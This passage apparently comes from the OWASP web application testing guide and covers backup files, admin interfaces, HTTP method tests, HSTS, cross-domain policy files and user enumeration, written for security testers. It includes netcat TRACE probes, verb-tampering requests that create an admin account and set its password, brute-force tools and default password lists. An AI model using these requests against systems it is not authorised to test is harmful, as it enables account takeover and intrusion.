Pages and functionality in Internet-facing web applications that are not referenced from within the application itself may be referenced from other public domain sources. There are various sources of these references:

- Pages that used to be referenced may still appear in the archives of Internet search engines. For example, *1998results.asp* may no longer be linked from a company's website, but may remain on the server and in search engine databases. This old script may contain vulnerabilities that could be used to compromise the entire site. The *site:* Google search operator may be used to run a query only against the domain of choice, such as in: *site:www.example.com*. Using search engines in this way has led to a broad array of techniques which you may find useful and that are described in the *Google Hacking* section of this Guide. Check it to hone your testing skills via Google. Backup files are not likely to be referenced by any other files and therefore may have not been indexed by Google, but if they lie in browsable directories the search engine might know about them.
- In addition, Google and Yahoo keep cached versions of pages found by their robots. Even if *1998results.asp* has been removed from the target server, a version of its output may still be stored by these search engines. The cached version may contain references to, or clues about, additional hidden content that still remains on the server.
- Content that is not referenced from within a target application may be linked to by third-party websites. For example, an application which processes online payments on behalf of third-party traders may contain a variety of bespoke functionality which can (normally) only be found by following links within the web sites of its customers.

File name filter bypass

Because blacklist filters are based on regular expressions, one can sometimes take advantage of obscure OS file name expansion features in which work in ways the developer didn't expect. The tester can sometimes exploit differences in ways that file names are parsed by the application, web server, and underlying OS and its file name conventions.

Example: Windows 8.3 filename expansion

```
"c:\program files" becomes "C:\PROGRA-1"

* Remove incompatible characters
* Convert spaces to underscores
* Take the first six characters of the basename
* Add "~<digit>" which is used to distinguish files with names using the same six initial characters
* This convention changes after the first 3 name collisions
* Truncate file extension to three characters
* Make all the characters uppercase
```

Gray Box Testing

Performing gray box testing against old and backup files requires examining the files contained in the directories belonging to the set of web directories served by the web server(s) of the web application infrastructure. Theoretically the examination should be performed by hand to be thorough. However, since in most cases copies of files or backup files tend to be created by using the same naming conventions, the search can be easily scripted. For example, editors leave behind backup copies by naming them with a recognizable extension or ending and humans tend to leave behind files with a “.old” or similar predictable extensions. A good strategy is that of periodically scheduling a background job checking for files with extensions likely to identify them as copy or backup files, and performing manual checks as well on a longer time basis.

Tools

- Vulnerability assessment tools tend to include checks to spot web directories having standard names (such as “admin”, “test”, “backup”, etc.), and to report any web directory which allows indexing. If you can't get any directory listing, you should try to check for likely backup extensions. Check for example Nessus (<http://www.nessus.org>), Nikto2(<http://www.cirt.net/code/nikto.shtml>) or its new derivative Wikto (<http://www.sensepost.com/research/wikto/>), which also supports Google hacking based strategies.
- Web spider tools: wget (<http://www.gnu.org/software/wget/>, <http://www.interlog.com/~tcharron/wgetwin.html>); Sam Spade (<http://www.samspade.org>); Spike proxy includes a web site crawler function (<http://www.immunitysec.com/spikeproxy.html>); Xenu (<http://home.snafu.de/tilman/xenulink.html>); curl (<http://curl.haxx.se>). Some of them are also included in standard Linux distributions.
- Web development tools usually include facilities to identify broken links and unreferenced files.

Remediation

To guarantee an effective protection strategy, testing should be compounded by a security policy which clearly forbids dangerous practices, such as:

- Editing files in-place on the web server or application server file systems. This is a particular bad habit, since it is likely to unwillingly generate backup files by the editors. It is amazing to see how often this is done, even in large organizations. If you absolutely need to edit files on a production system, do ensure that you don't leave behind anything which is not explicitly intended, and consider that you are doing it at your own risk.
- Check carefully any other activity performed on file systems exposed by the web server, such as spot administration activities. For example, if you occasionally need to take a snapshot of a couple of directories (which you should not do on a production system), you may be tempted to zip them first. Be careful not to forget behind those archive files.
- Appropriate configuration management policies should help not to leave around obsolete and unreferenced files.
- Applications should be designed not to create (or rely on) files stored under the web directory trees served by the web server. Data files, log files, configuration files, etc. should be stored in directories not accessible by the web server, to counter the possibility of information disclosure (not to mention data modification if web directory permissions allow writing).
- File system snapshots should not be accessible via the web if the document root is on a file system using this technology. Configure your web server to deny access to such directories, for example under apache a location directive such this should be used:

```
<Location ~ ".snapshot">
  Order deny,allow
  Deny from all
</Location>
```

Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)

Summary

Administrator interfaces may be present in the application or on the application server to allow certain users to undertake privileged activities on the site. Tests should be undertaken to reveal if and how this privileged functionality can be accessed by an unauthorized or standard user.

An application may require an administrator interface to enable a privileged user to access functionality that may make changes to how the site functions. Such changes may include:

- user account provisioning
- site design and layout
- data manipulation
- configuration changes

In many instances, such interfaces do not have sufficient controls to protect them from unauthorized access. Testing is aimed at discovering these administrator interfaces and accessing functionality intended for the privileged users.

How to Test

Black Box Testing

The following section describes vectors that may be used to test for the presence of administrative interfaces. These techniques may also be used to test for related issues including privilege escalation, and are described elsewhere in this guide (for example [Testing for bypassing authorization schema \(OTG-AUTHZ-002\)](#) and [Testing for Insecure Direct Object References \(OTG-AUTHZ-004\)](#)) in greater detail.

- Directory and file enumeration. An administrative interface may be present but not visibly available to the tester. Attempting to guess the path of the administrative interface may be as simple as requesting: `/admin` or `/administrator` etc.. or in some scenarios can be revealed within seconds using [Google dorks](#) .
- There are many tools available to perform brute forcing of server contents, see the tools section below for more information.
- A tester may have to also identify the file name of the administration page. Forcibly browsing to the identified page may provide access to the interface.
- Comments and links in source code. Many sites use common code that is loaded for all site users. By examining all source sent to the client, links to administrator functionality may be discovered and should be investigated.
- Reviewing server and application documentation. If the application server or application is deployed in its default configuration it may be possible to access the administration interface using information described in configuration or help documentation. Default password lists should be consulted if an administrative interface is found and credentials are required.
- Publicly available information. Many applications such as wordpress have default administrative interfaces .
- Alternative server port. Administration interfaces may be seen on a different port on the host than the main application. For example, Apache Tomcat's Administration interface can often be seen on port 8080.
- Parameter tampering. A GET or POST parameter or a cookie variable may be required to enable the administrator functionality. Clues to this include the presence of hidden fields such as:

```
<input type="hidden" name="admin" value="no">
```

or in a cookie:

```
Cookie: session_cookie; useradmin=0
```

Once an administrative interface has been discovered, a combination of the above techniques may be used to attempt to bypass authentication. If this fails, the tester may wish to attempt a brute force attack. In such an instance the tester should be aware of the potential for administrative account lockout if such functionality is present.

Gray Box Testing

A more detailed examination of the server and application components should be undertaken to ensure hardening (i.e. administrator pages are not accessible to everyone through the use of IP filtering or other controls), and where applicable, verification that all components do not use default credentials or configurations.

Source code should be reviewed to ensure that the authorization and authentication model ensures clear separation of duties between normal users and site administrators. User interface functions shared between normal and administrator users should be reviewed to ensure clear separation between the drawing of such components and information leakage from such shared functionality.

Tools

- [Dirbuster](#) This currently inactive OWASP project is still a great tool for brute forcing directories and files on the server.
- [THC-HYDRA](#) is a tool that allows brute-forcing of many interfaces, including form-based HTTP authentication.
- A brute forcer is much better when it uses a good dictionary, for example the [netsparker](#) dictionary.

References

- Default Password list:
<http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php>
- Default Password list: <http://www.cirt.net/passwords>

Test HTTP Methods (OTG-CONFIG-006)

Summary

HTTP offers a number of methods that can be used to perform actions on the web server. Many of these methods are designed to aid developers in deploying and testing HTTP applications. These HTTP methods can be used for nefarious purposes if the web server is misconfigured. Additionally, Cross Site Tracing (XST), a form of cross site scripting using the server's HTTP TRACE method, is examined.

While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC 2616 (which describes HTTP version 1.1 which is the standard today) defines the following eight methods:

- HEAD
- GET
- POST
- PUT
- DELETE
- TRACE
- OPTIONS
- CONNECT

Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:

- PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim's server as a file repository.
- DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack.
- CONNECT: This method could allow a client to use the web server as a proxy.
- TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page).

If an application needs one or more of these methods, such as REST Web Services (which may require PUT or DELETE), it is important to check that their usage is properly limited to trusted users and safe conditions.

Arbitrary HTTP Methods

Arshan Dabirsiaghi (see links) discovered that many web application frameworks allowed well chosen or arbitrary HTTP methods to bypass an environment level access control check:

- Many frameworks and languages treat "HEAD" as a "GET" request, albeit one without any body in the response. If a security constraint was set on "GET" requests such that only "authenticatedUsers" could access GET requests for a particular servlet or resource, it would be bypassed for the "HEAD" version. This allowed unauthorized blind submission of any privileged GET request.
- Some frameworks allowed arbitrary HTTP methods such as "JEFF" or "CATS" to be used without limitation. These were treated as if a "GET" method was issued, and were found not to be subject to method role based access control checks on a number of languages and frameworks, again allowing unauthorized blind submission of privileged GET

requests.

In many cases, code which explicitly checked for a "GET" or "POST" method would be safe.

How to Test

Discover the Supported Methods

To perform this test, the tester needs some way to figure out which HTTP methods are supported by the web server that is being examined. The OPTIONS HTTP method provides the tester with the most direct and effective way to do that. RFC 2616 states that, "The OPTIONS method represents a request for information about the communication options available on the request/response chain identified by the Request-URI".

The testing method is extremely straightforward and we only need to fire up netcat (or telnet):

```
$ nc www.victim.com 80
OPTIONS / HTTP/1.1
Host: www.victim.com

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close
Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0
```

As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section

Test XST Potential

Note: in order to understand the logic and the goals of this attack one must be familiar with [Cross Site Scripting attacks](#).

The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [HTTPOnly](#) tag that Microsoft introduced in Internet Explorer 6 SP1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he or she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript from accessing it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.

As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), the tester can proceed as shown in the following example:

```
$ nc www.victim.com 80
TRACE / HTTP/1.1
Host: www.victim.com

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:01:48 GMT
Connection: close
Content-Type: message/http
Content-Length: 39

TRACE / HTTP/1.1
Host: www.victim.com
```

The response body is exactly a copy of our original request, meaning that the target allows this method. Now, where is the danger lurking? If the tester instructs a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore be echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.

There are multiple ways to make a browser issue a TRACE request, such as the XMLHTTP ActiveX control in Internet Explorer and XMLHttpRequest in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack.

An attacker has two ways to successfully launch a Cross Site Tracing attack:

- Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet that contains the TRACE request in the vulnerable application, as in a normal Cross Site Scripting attack
- Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.

More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman.

Testing for arbitrary HTTP methods

Find a page to visit that has a security constraint such that it would normally force a 302 redirect to a log in page or forces a log in directly. The test URL in this example works like this, as do many web applications. However, if a tester obtains a "200" response that is not a log in page, it is possible to bypass authentication and thus authorization.

```
$ nc www.example.com 80
JEFF / HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:38:40 GMT
Server: Apache
Set-Cookie: PHPSESSID=K53QW...
```

If the framework or firewall or application does not support the "JEFF" method, it should issue an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services the request, it is vulnerable to this issue.

If the tester feels that the system is vulnerable to this issue, they should issue CSRF-like attacks to exploit the issue more fully:

- `FOOBAR /admin/createUser.php?member=myAdmin`
- `JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123`
- `CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add`

With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an administrator.

Testing for HEAD access control bypass

Find a page to visit that has a security constraint such that it would normally force a 302 redirect to a log in page or forces a log in directly. The test URL in this example works like this, as do many web applications. However, if the tester obtains a

"200" response that is not a login page, it is possible to bypass authentication and thus authorization.

```
$ nc www.example.com 80
HEAD /admin HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:44:11 GMT
Server: Apache
Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com
Content-Language: EN
Connection: close
Content-Type: text/html; charset=ISO-8859-1
```

If the tester gets a "405 Method not allowed" or "501 Method Unimplemented", the target (application/framework/language/system/firewall) is working correctly. If a "200" response code comes back, and the response contains no body, it's likely that the application has processed the request without authentication or authorization and further testing is warranted.

If the tester thinks that the system is vulnerable to this issue, they should issue CSRF-like attacks to exploit the issue more fully:

- HEAD /admin/createUser.php?member=myAdmin
- HEAD /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
- HEAD /admin/groupEdit.php?group=Admins&member=myAdmin&action=add

With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an administrator, all using blind request submission.

Tools

- NetCat - <http://nc110.sourceforge.net>
- cURL - <http://curl.haxx.se/>

References

Whitepapers

- RFC 2616: "Hypertext Transfer Protocol -- HTTP/1.1"
- RFC 2109 and RFC 2965: "HTTP State Management Mechanism"
- Jeremiah Grossman: "Cross Site Tracing (XST)" - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf
- Amit Klein: "XS(T) attack variants which can, in some cases, eliminate the need for TRACE" - <http://www.securityfocus.com/archive/107/308433>
- Arshan Dabirsiaghi: "Bypassing VBAAC with HTTP Verb Tampering" - http://static.swpag.info/download/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf

Test HTTP Strict Transport Security (OTG-CONFIG-007)

Summary

The HTTP Strict Transport Security (HSTS) header is a mechanism that web sites have to communicate to the web browsers that all traffic exchanged with a given domain must always be sent over https, this will help protect the information from being passed over unencrypted requests.

Considering the importance of this security measure it is important to verify that the web site is using this HTTP header, in order to ensure that all the data travels encrypted from the web browser to the server.

The HTTP Strict Transport Security (HSTS) feature lets a web application to inform the browser, through the use of a special response header, that it should never establish a connection to the the specified domain servers using HTTP. Instead it should automatically establish all connection requests to access the site through HTTPS.

The HTTP strict transport security header uses two directives:

- max-age: to indicate the number of seconds that the browser should automatically convert all HTTP requests to HTTPS.
- includeSubDomains: to indicate that all web application's sub-domains must use HTTPS.

Here's an example of the HSTS header implementation:

```
Strict-Transport-Security: max-age=60000; includeSubDomains
```

The use of this header by web applications must be checked to find if the following security issues could be produced:

- Attackers sniffing the network traffic and accessing the information transferred through an unencrypted channel.
- Attackers exploiting a man in the middle attack because of the problem of accepting certificates that are not trusted.
- Users who mistakenly entered an address in the browser putting HTTP instead of HTTPS, or users who click on a link in a web application which mistakenly indicated the http protocol.

How to Test

Testing for the presence of HSTS header can be done by checking for the existence of the HSTS header in the server's response in an interception proxy, or by using curl as follows:

```
$ curl -s -D- https://domain.com/ | grep Strict
```

Result expected:

```
Strict-Transport-Security: max-age=...
```

References

- OWASP HTTP Strict Transport Security - https://www.owasp.org/index.php/HTTP_Strict_Transport_Security
- OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security - http://www.youtube.com/watch?v=zEV3HOuM_Vw

- HSTS Specification: <http://tools.ietf.org/html/rfc6797>

Test RIA cross domain policy (OTG-CONFIG-008)

Summary

Rich Internet Applications (RIA) have adopted Adobe's `crossdomain.xml` policy files to allow for controlled cross domain access to data and service consumption using technologies such as Oracle Java, Silverlight, and Adobe Flash. Therefore, a domain can grant remote access to its services from a different domain. However, often the policy files that describe the access restrictions are poorly configured. Poor configuration of the policy files enables Cross-site Request Forgery attacks, and may allow third parties to access sensitive data meant for the user.

What are cross-domain policy files?

A cross-domain policy file specifies the permissions that a web client such as Java, Adobe Flash, Adobe Reader, etc. use to access data across different domains. For Silverlight, Microsoft adopted a subset of the Adobe's `crossdomain.xml`, and additionally created its own cross-domain policy file: `clientaccesspolicy.xml`.

Whenever a web client detects that a resource has to be requested from other domain, it will first look for a policy file in the target domain to determine if performing cross-domain requests, including headers, and socket-based connections are allowed.

Master policy files are located at the domain's root. A client may be instructed to load a different policy file but it will always check the master policy file first to ensure that the master policy file permits the requested policy file.

Crossdomain.xml vs. Clientaccesspolicy.xml

Most RIA applications support `crossdomain.xml`. However in the case of Silverlight, it will only work if the `crossdomain.xml` specifies that access is allowed from any domain. For more granular control with Silverlight, `clientaccesspolicy.xml` must be used.

Policy files grant several types of permissions:

- Accepted policy files (Master policy files can disable or restrict specific policy files)
- Sockets permissions
- Header permissions
- HTTP/HTTPS access permissions
- Allowing access based on cryptographic credentials

An example of an overly permissive policy file:

```
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <site-control permitted-cross-domain-policies="all"/>
  <allow-access-from domain="*" secure="false"/>
  <allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>
```

How can cross domain policy files can be abused?

- Overly permissive cross-domain policies.
- Generating server responses that may be treated as cross-domain policy files.
- Using file upload functionality to upload files that may be treated as cross-domain policy files.

Impact of abusing cross-domain access

- Defeat CSRF protections.
- Read data restricted or otherwise protected by cross-origin policies.

How to Test

Testing for RIA policy files weakness:

To test for RIA policy file weakness the tester should try to retrieve the policy files `crossdomain.xml` and `clientaccesspolicy.xml` from the application's root, and from every folder found.

For example, if the application's URL is <http://www.owasp.org>, the tester should try to download the files <http://www.owasp.org/crossdomain.xml> and <http://www.owasp.org/clientaccesspolicy.xml>.

After retrieving all the policy files, the permissions allowed should be checked under the least privilege principle. Requests should only come from the domains, ports, or protocols that are necessary. Overly permissive policies should be avoided. Policies with "*" in them should be closely examined.

Example:

```
<cross-domain-policy>
  <allow-access-from domain="*" />
</cross-domain-policy>
```

Result Expected:

- A list of policy files found.
- A weak settings in the policies.

Tools

- Nikto
- OWASP Zed Attack Proxy Project
- W3af

References

Whitepapers

- UCSD: "Analyzing the Crossdomain Policies of Flash Applications" - <http://cseweb.ucsd.edu/~hovav/dist/crossdomain.pdf>
- Adobe: "Cross-domain policy file specification" - http://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html
- Adobe: "Cross-domain policy file usage recommendations for Flash Player" - http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html
- Oracle: "Cross-Domain XML Support" - <http://www.oracle.com/technetwork/java/javase/plugin2-142482.html#CROSSDOMAINXML>
- MSDN: "Making a Service Available Across Domain Boundaries" - [http://msdn.microsoft.com/en-us/library/cc197955\(v=vs.95\).aspx](http://msdn.microsoft.com/en-us/library/cc197955(v=vs.95).aspx)
- MSDN: "Network Security Access Restrictions in Silverlight" - [http://msdn.microsoft.com/en-us/library/cc645032\(v=vs.95\).aspx](http://msdn.microsoft.com/en-us/library/cc645032(v=vs.95).aspx)
- Stefan Esser: "Poking new holes with Flash Crossdomain Policy Files" http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html

- Jeremiah Grossman: "Crossdomain.xml Invites Cross-site Mayhem"
<http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site.html>
- Google Doctype: "Introduction to Flash security " - <http://code.google.com/p/doctype-mirror/wiki/ArticleFlashSecurity>

Identity Management Testing

Testing for Identity Management includes the following sections:

- [Test Role Definitions \(OTG-IDENT-001\)](#)
- [Test User Registration Process \(OTG-IDENT-002\)](#)
- [Test Account Provisioning Process \(OTG-IDENT-003\)](#)
- [Testing for Account Enumeration and Guessable User Account \(OTG-IDENT-004\)](#)
- [Testing for Weak or unenforced username policy \(OTG-IDENT-005\)](#)

Test Role Definitions (OTG-IDENT-001)

Summary

It is common in modern enterprises to define system roles to manage users and authorization to system resources. In most system implementations it is expected that at least two roles exist, administrators and regular users. The first representing a role that permits access to privileged and sensitive functionality and information, the second representing a role that permits access to regular business functionality and information. Well developed roles should align with business processes which are supported by the application.

It is important to remember that cold, hard authorization isn't the only way to manage access to system objects. In more trusted environments where confidentiality is not critical, softer controls such as application workflow and audit logging can support data integrity requirements while not restricting user access to functionality or creating complex role structures that are difficult to manage. Its important to consider the Goldilocks principle when role engineering, in that defining too few, broad roles (thereby exposing access to functionality users don't require) is as bad as too many, tightly tailored roles (thereby restricting access to functionality users do require).

Test objectives

Validate the system roles defined within the application sufficiently define and separate each system and business role to manage appropriate access to system functionality and information.

How to test

Either with or without the help of the system developers or administrators, develop an role versus permission matrix. The matrix should enumerate all the roles that can be provisioned and explore the permissions that are allowed to be applied to the objects including any constraints. If a matrix is provided with the application it should be validated by the tester, if it doesn't exist, the tester should generate it and determine whether the matrix satisfies the desired access policy for the application.

Example

ROLE	PERMISSION	OBJECT	CONSTRAINTS
Administrator	Read	Customer records	
Manager	Read	Customer records	Only records related to business unit
Staff	Read	Customer records	Only records associated with customers assigned by Manager
Customer	Read	Customer record	Only own record

A real world example of role definitions can be found in the [WordPress roles documentation](#). WordPress has six default roles ranging from Super Admin to a Subscriber.

Tools

While the most thorough and accurate approach to completing this test is to conduct it manually, [spidering tools](#) are also useful. Log on with each role in turn and spider the application (don't forget to exclude the logout link from the spidering).

References

- [Role Engineering for Enterprise Security Management, E Coyne & J Davis, 2007](#)
- [Role engineering and RBAC standards](#)

Remediation

Remediation of the issues can take the following forms:

- Role Engineering
- Mapping of business roles to system roles
- Separation of Duties

Test User Registration Process (OTG-IDENT-002)

Summary

Some websites offer a user registration process that automates (or semi-automates) the provisioning of system access to users. The identity requirements for access vary from positive identification to none at all, depending on the security requirements of the system. Many public applications completely automate the registration and provisioning process because the size of the user base makes it impossible to manage manually. However, many corporate applications will provision users manually, so this test case may not apply.

Test objectives

1. Verify that the identity requirements for user registration are aligned with business and security requirements.
2. Validate the registration process.

How to test

Verify that the identity requirements for user registration are aligned with business and security requirements:

1. Can anyone register for access?
2. Are registrations vetted by a human prior to provisioning, or are they automatically granted if the criteria are met?
3. Can the same person or identity register multiple times?
4. Can users register for different roles or permissions?
5. What proof of identity is required for a registration to be successful?
6. Are registered identities verified?

Validate the registration process:

1. Can identity information be easily forged or faked?
2. Can the exchange of identity information be manipulated during registration?

Example


In the WordPress example below, the only identification requirement is an email address that is accessible to the registrant.

Get started with WordPress.com by filling out this simple form:

E-mail Address	We'll send you an email to activate your account, so please triple-check that you've typed it correctly.
Username	Your username should be a minimum of four characters and can only include lowercase letters and numbers.
Password	Great passwords use upper and lower case characters, numbers, and symbols like !@#\$%&. Generate strong password
Blog Address	Choose an address for your blog. You can change the WordPress.com address later.

[.wordpress.com Free](#)

In contrast, in the Google example below the identification requirements include name, date of birth, country, mobile phone number, email address and CAPTCHA response. While only two of these can be verified (email address and mobile number), the identification requirements are stricter than WordPress.



Tools

A HTTP proxy can be a useful tool to test this control.

References

- [User Registration Design](#)

Remediation

Implement identification and verification requirements that correspond to the security requirements of the information the credentials protect.

Test Account Provisioning Process (OTG-IDENT-003)

Summary

The provisioning of accounts presents an opportunity for an attacker to create a valid account without application of the proper identification and authorization process.

Test objectives

Verify which accounts may provision other accounts and of what type.

How to test

Determine which roles are able to provision users and what sort of accounts they can provision.

- Is there any verification, vetting and authorization of provisioning requests?
- Is there any verification, vetting and authorization of de-provisioning requests?
- Can an administrator provision other administrators or just users?
- Can an administrator or other user provision accounts with privileges greater than their own?
- Can an administrator or user de-provision themselves?
- How are the files or resources owned by the de-provisioned user managed? Are they deleted? Is access transferred?

Example


In WordPress, only a user's name and email address are required to provision the user, as shown below:

The screenshot shows the WordPress 'Add New User' interface. The left sidebar contains navigation links: Dashboard, Posts, Media, Links, Pages, Comments, Appearance, Plugins, Users (highlighted), All Users, Add New, Your Profile, Tools, and Settings. The main content area is titled 'Add New User' and contains the following form elements:

- Username (required)**: Text input field.
- E-mail (required)**: Text input field.
- First Name**: Text input field.
- Last Name**: Text input field.
- Website**: Text input field.
- Password (once, required)**: Password input field with a strength indicator below it. The strength indicator shows a low strength and includes a hint: "Hint: The password should be at least seven characters long. To make it stronger, use upper and lower case letters, numbers and symbols like ! " ? \$ % ^ & ;".
- Send Password?**: A checkbox with the label "Send this password to the new user by email."
- Role**: A dropdown menu currently set to "Subscriber".
- Add New User**: A blue button at the bottom of the form.

At the bottom of the page, there is a footer that says "Thank you for creating with WordPress." and "Version 3.3" on the right side.

De-provisioning of users requires the administrator to select the users to be de-provisioned, select Delete from the dropdown menu (circled) and then applying this action. The administrator is then presented with a dialog box asking what to do with the user's posts (delete or transfer them).



Tools

While the most thorough and accurate approach to completing this test is to conduct it manually, HTTP proxy tools could be also useful.

Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)

Summary

The scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for brute force testing, in which the tester verifies if, given a valid username, it is possible to find the corresponding password.

Often, web applications reveal when a username exists on system, either as a consequence of mis-configuration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong. The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username and password attack.

The tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server when the user provide a valid username is different than when they use an invalid one.

In some cases, a message is received that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, testers can enumerate the existing users by sending a username and an empty password.

How to Test

In black box testing, the tester knows nothing about the specific application, username, application logic, error messages on log in page, or password recovery facilities. If the application is vulnerable, the tester receives a response message that reveals, directly or indirectly, some information useful for enumerating users.

HTTP Response message

Testing for Valid user/right password

Record the server answer when you submit a valid user ID and valid password.

Result Expected:

Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).

Testing for valid user with wrong password

Now, the tester should try to insert a valid user ID and a wrong password and record the error message generated by the application.

Result Expected:

The browser should display a message similar to the following one:

Authentication failed.[Return to Login page](#)

or something like:

No configuration found.

Contact your system administrator.

[Return to Login page](#)

against any message that reveals the existence of user, for instance, message similar to:

```
Login for User foo: invalid password
```

Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).

Testing for a nonexistent username

Now, the tester should try to insert an invalid user ID and a wrong password and record the server answer (the tester should be confident that the username is not valid in the application). Record the error message and the server answer.

Result Expected:

If the tester enters a nonexistent user ID, they can receive a message similar to:

This user is not active.

Contact your system administrator.

[Return to Login page](#)

or message like the following one:

```
Login failed for User foo: invalid Account
```

Generally the application should respond with the same error message and length to the different incorrect requests. If the responses are not the same, the tester should investigate and find out the key that creates a difference between the two responses. For example:

```
* Client request: Valid user/wrong password --> Server answer:'The password is not correct'
* Client request: Wrong user/wrong password --> Server answer:'User not recognized'
```

The above responses let the client understand that for the first request they have a valid user name. So they can interact with the application requesting a set of possible user IDs and observing the answer.

Looking at the second server response, the tester understand in the same way that they don't hold a valid username. So they can interact in the same manner and create a list of valid user ID looking at the server answers.

Other ways to enumerate users

Testers can enumerate users in several ways, such as:

- **Analyzing the error code received on login pages**

Some web application release a specific error code or message that we can analyze.

- **Analyzing URLs and URLs re-directions**

For example:

```
http://www.foo.com/err.jsp?User=baduser&Error=0
http://www.foo.com/err.jsp?User=gooduser&Error=2
```

As is seen above, when a tester provides a user ID and password to the web application, they see a message indication that an error has occurred in the URL. In the first case they have provided a bad user ID and bad password. In the second, a good user ID and a bad password, so they can identify a valid user ID.

- **URI Probing**

Sometimes a web server responds differently if it receives a request for an existing directory or not. For instance in some portals every user is associated with a directory. If testers try to access an existing directory they could receive a web server error.

A very common error that is received from web server is:

```
403 Forbidden error code
```

and

```
404 Not found error code
```

Example

```
http://www.foo.com/account1 - we receive from web server: 403 Forbidden
http://www.foo.com/account2 - we receive from web server: 404 file Not Found
```

In the first case the user exists, but the tester cannot view the web page, in second case instead the user "account2" does not exist. By collecting this information testers can enumerate the users.

- **Analyzing Web page Titles**

Testers can receive useful information on Title of web page, where they can obtain a specific error code or messages that reveal if the problems are with the username or password.

For instance, if a user cannot authenticate to an application and receives a web page whose title is similar to:

```
Invalid user
Invalid authentication
```

- **Analyzing a message received from a recovery facility**

When we use a recovery facility (i.e. a forgotten password function) a vulnerable application might return a message that reveals if a username exists or not.

For example, message similar to the following:

```
Invalid username: e-mail address is not valid or the specified user was not found.
Valid username: Your password has been successfully sent to the email address you registered with.
```

- **Friendly 404 Error Message**

When we request a user within the directory that does not exist, we don't always receive 404 error code. Instead, we may receive "200 ok" with an image, in this case we can assume that when we receive the specific image the user does not exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.

Guessing Users

